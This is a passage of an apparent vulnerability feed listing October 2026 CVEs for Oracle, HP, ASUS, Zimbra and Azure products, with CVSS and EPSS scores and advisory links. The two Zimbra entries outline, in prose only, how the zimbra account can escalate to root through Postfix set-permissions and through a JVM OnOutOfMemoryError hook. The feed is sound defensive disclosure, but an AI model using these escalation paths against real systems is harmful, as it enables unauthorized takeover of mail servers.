FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91458&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Outside In Technology executes to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation
               of privilege and/or arbitrary...
https://kevwire.com/record/CVE-2026-91093
A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation
               of privilege and/or arbitrary... (Oct 23, 2026).
A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation
               of privilege and/or arbitrary code execution. HP is releasing software updates to mitigate the potential vulnerability.
CVSS 8.5 (version 4.0; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91093).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91093&date=2026-10-25).
Sources:
NVD CVE-2026-91093: https://nvd.nist.gov/vuln/detail/CVE-2026-91093
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91093&date=2026-10-25
A potential security vulnerability has been identified in HP One Agent for certain HP PC products, which might allow for escalation
               of privilege and/or arbitrary code execution. HP is releasing software updates to mitigate the potential vulnerability.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).
https://kevwire.com/record/CVE-2026-83363
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO). (Oct 20, 2026).
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83363).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83363&date=2026-10-25).
Sources:
NVD CVE-2026-83363: https://nvd.nist.gov/vuln/detail/CVE-2026-83363
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83363&date=2026-10-25
Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite (component: Award/PO).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Contract Lifecycle Management for Public Sector.  Successful attacks of this vulnerability can result in takeover of Oracle Contract Lifecycle Management for Public Sector. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special
Elements used in an OS Command (“OS Command Injection”) and Cross-Site Request
Forgery (CSRF) in an ASUS router model allow an attacker to trick...
https://kevwire.com/record/CVE-2026-75779
Improper Neutralization of Special
Elements used in an OS Command (“OS Command Injection”) and Cross-Site Request
Forgery (CSRF) in an ASUS router model allow an attacker to trick... (Oct 23, 2026).
Improper Neutralization of Special
Elements used in an OS Command (“OS Command Injection”) and Cross-Site Request
Forgery (CSRF) in an ASUS router model allow an attacker to trick a logged-in
administrator into visiting a phishing website, causing the router to execute
arbitrary commands with root privileges.
Refer to the '
Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.
CVSS 8.6 (version 4.0; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75779).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75779&date=2026-10-25).
Sources:
NVD CVE-2026-75779: https://nvd.nist.gov/vuln/detail/CVE-2026-75779
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75779&date=2026-10-25
Improper Neutralization of Special
Elements used in an OS Command (“OS Command Injection”) and Cross-Site Request
Forgery (CSRF) in an ASUS router model allow an attacker to trick a logged-in
administrator into visiting a phishing website, causing the router to execute
arbitrary commands with root privileges.
Refer to the '
Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted...
https://kevwire.com/record/CVE-2026-75775
Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted... (Oct 23, 2026).
Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted parameters sent to the router while the device is in its factory-default state.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.
CVSS 7.7 (version 4.0; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75775).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75775&date=2026-10-25).
Sources:
NVD CVE-2026-75775: https://nvd.nist.gov/vuln/detail/CVE-2026-75775
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75775&date=2026-10-25
Improper Neutralization of Special Elements used in an OS Command in certain ASUS routers allows remote user to execute arbitrary commands with root privileges via crafted parameters sent to the router while the device is in its factory-default state.Refer to the ' Security Update for ASUS Router Firmware ' section on the ASUS Security Advisory for more information.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root.
https://kevwire.com/record/CVE-2026-50057
A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root. (Oct 23, 2026).
A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root. The installed sudo policy permits passwordless root execution of Postfix administration commands without restricting their arguments. An attacker can select a zimbra-controlled daemon_directory in the Postfix configuration and invoke postfix set-permissions, causing Postfix to execute the attacker's post-install program as root. The Postfix configuration directory is also writable by zimbra, so restricting postconf alone does not remove the execution path. Exploitation requires local command execution as zimbra on an MTA node. ZCS 10.1.16 and 10.1.21 are affected.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50057).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50057&date=2026-10-25).
Sources:
NVD CVE-2026-50057: https://nvd.nist.gov/vuln/detail/CVE-2026-50057
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50057&date=2026-10-25
A local privilege escalation vulnerability in the Zimbra Collaboration Suite (ZCS) MTA package allows the Unix zimbra account to execute arbitrary commands as root. The installed sudo policy permits passwordless root execution of Postfix administration commands without restricting their arguments. An attacker can select a zimbra-controlled daemon_directory in the Postfix configuration and invoke postfix set-permissions, causing Postfix to execute the attacker's post-install program as root. The Postfix configuration directory is also writable by zimbra, so restricting postconf alone does not remove the execution path. Exploitation requires local command execution as zimbra on an MTA node. ZCS 10.1.16 and 10.1.21 are affected.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root.
https://kevwire.com/record/CVE-2026-50056
A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root. (Oct 23, 2026).
A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root. The passwordless sudo interface accepts JVM arguments that are not adequately restricted. An attacker can postpone Jetty's privilege drop, register an OnOutOfMemoryError command and force heap exhaustion during startup, causing the command to execute while the JVM still runs as root. Exploitation requires local command execution as zimbra on a mailbox server and interrupts mailboxd during the malicious restart. ZCS 10.1.16 and 10.1.21 are affected.
CVSS 7.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-50056).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-50056&date=2026-10-25).
Sources:
NVD CVE-2026-50056: https://nvd.nist.gov/vuln/detail/CVE-2026-50056
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-50056&date=2026-10-25
A local privilege escalation vulnerability in the zmmailboxdmgr launcher of Zimbra Collaboration Suite (ZCS) allows the Unix zimbra account to execute arbitrary commands as root. The passwordless sudo interface accepts JVM arguments that are not adequately restricted. An attacker can postpone Jetty's privilege drop, register an OnOutOfMemoryError command and force heap exhaustion during startup, causing the command to execute while the JVM still runs as root. Exploitation requires local command execution as zimbra on a mailbox server and interrupts mailboxd during the malicious restart. ZCS 10.1.16 and 10.1.21 are affected.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-105014
Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network. (Oct 22, 2026).
Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network.
CVSS 9.1 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-105014).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-105014&date=2026-10-25).
Sources:
NVD CVE-2026-105014: https://nvd.nist.gov/vuln/detail/CVE-2026-105014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-105014&date=2026-10-25
Improper neutralization of special elements used in a command ('command injection') in Azure Pipelines allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101854
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101854).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101854&date=2026-10-25).
Sources:
NVD CVE-2026-101854: https://nvd.nist.gov/vuln/detail/CVE-2026-101854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101854&date=2026-10-25
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101853
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101853).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101853&date=2026-10-25).
Sources:
NVD CVE-2026-101853: https://nvd.nist.gov/vuln/detail/CVE-2026-101853
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101853&date=2026-10-25
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101852
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101852).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101852&date=2026-10-25).
Sources:
NVD CVE-2026-101852: https://nvd.nist.gov/vuln/detail/CVE-2026-101852
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101852&date=2026-10-25
Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management).
https://kevwire.com/record/CVE-2026-101813
Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management). (Oct 20, 2026).
Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Engineering.  Successful attacks of this vulnerability can result in takeover of Oracle Engineering. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101813).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101813&date=2026-10-25).
Sources:
NVD CVE-2026-101813: https://nvd.nist.gov/vuln/detail/CVE-2026-101813
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101813&date=2026-10-25
Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Engineering.  Successful attacks of this vulnerability can result in takeover of Oracle Engineering. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).
https://kevwire.com/record/CVE-2026-101809
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer). (Oct 20, 2026).
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  While the vulnerability is in Workflow, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
CVSS 10.0 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101809).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101809&date=2026-10-25).
Sources:
NVD CVE-2026-101809: https://nvd.nist.gov/vuln/detail/CVE-2026-101809
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101809&date=2026-10-25
Vulnerability in the Workflow product of Oracle E-Business Suite (component: Workflow Notification Mailer).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Workflow.  While the vulnerability is in Workflow, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Workflow. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core).
https://kevwire.com/record/CVE-2026-101736
Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core). (Oct 20, 2026).
Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core).  Supported versions that are affected are 21.12.0-21.12.17. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized access to critical data or complete access to all Primavera Unifier accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101736).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101736&date=2026-10-25).
Sources:
NVD CVE-2026-101736: https://nvd.nist.gov/vuln/detail/CVE-2026-101736
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101736&date=2026-10-25
Vulnerability in the Primavera Unifier product of Oracle Construction and Engineering (component: Core).  Supported versions that are affected are 21.12.0-21.12.17. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Primavera Unifier.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Primavera Unifier accessible data as well as  unauthorized access to critical data or complete access to all Primavera Unifier accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).
https://kevwire.com/record/CVE-2026-101692
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI). (Oct 20, 2026).
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101692).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101692&date=2026-10-25).
Sources:
NVD CVE-2026-101692: https://nvd.nist.gov/vuln/detail/CVE-2026-101692
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101692&date=2026-10-25
Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Admin UI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).
https://kevwire.com/record/CVE-2026-101686
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider). (Oct 20, 2026).
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 24, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101686).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101686&date=2026-10-25).
Sources:
NVD CVE-2026-101686: https://nvd.nist.gov/vuln/detail/CVE-2026-101686
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101686&date=2026-10-25
Vulnerability in the Oracle E-Business Suite Integrated SOA Gateway product of Oracle E-Business Suite (component: SOA Provider).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle E-Business Suite Integrated SOA Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle E-Business Suite Integrated SOA Gateway. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
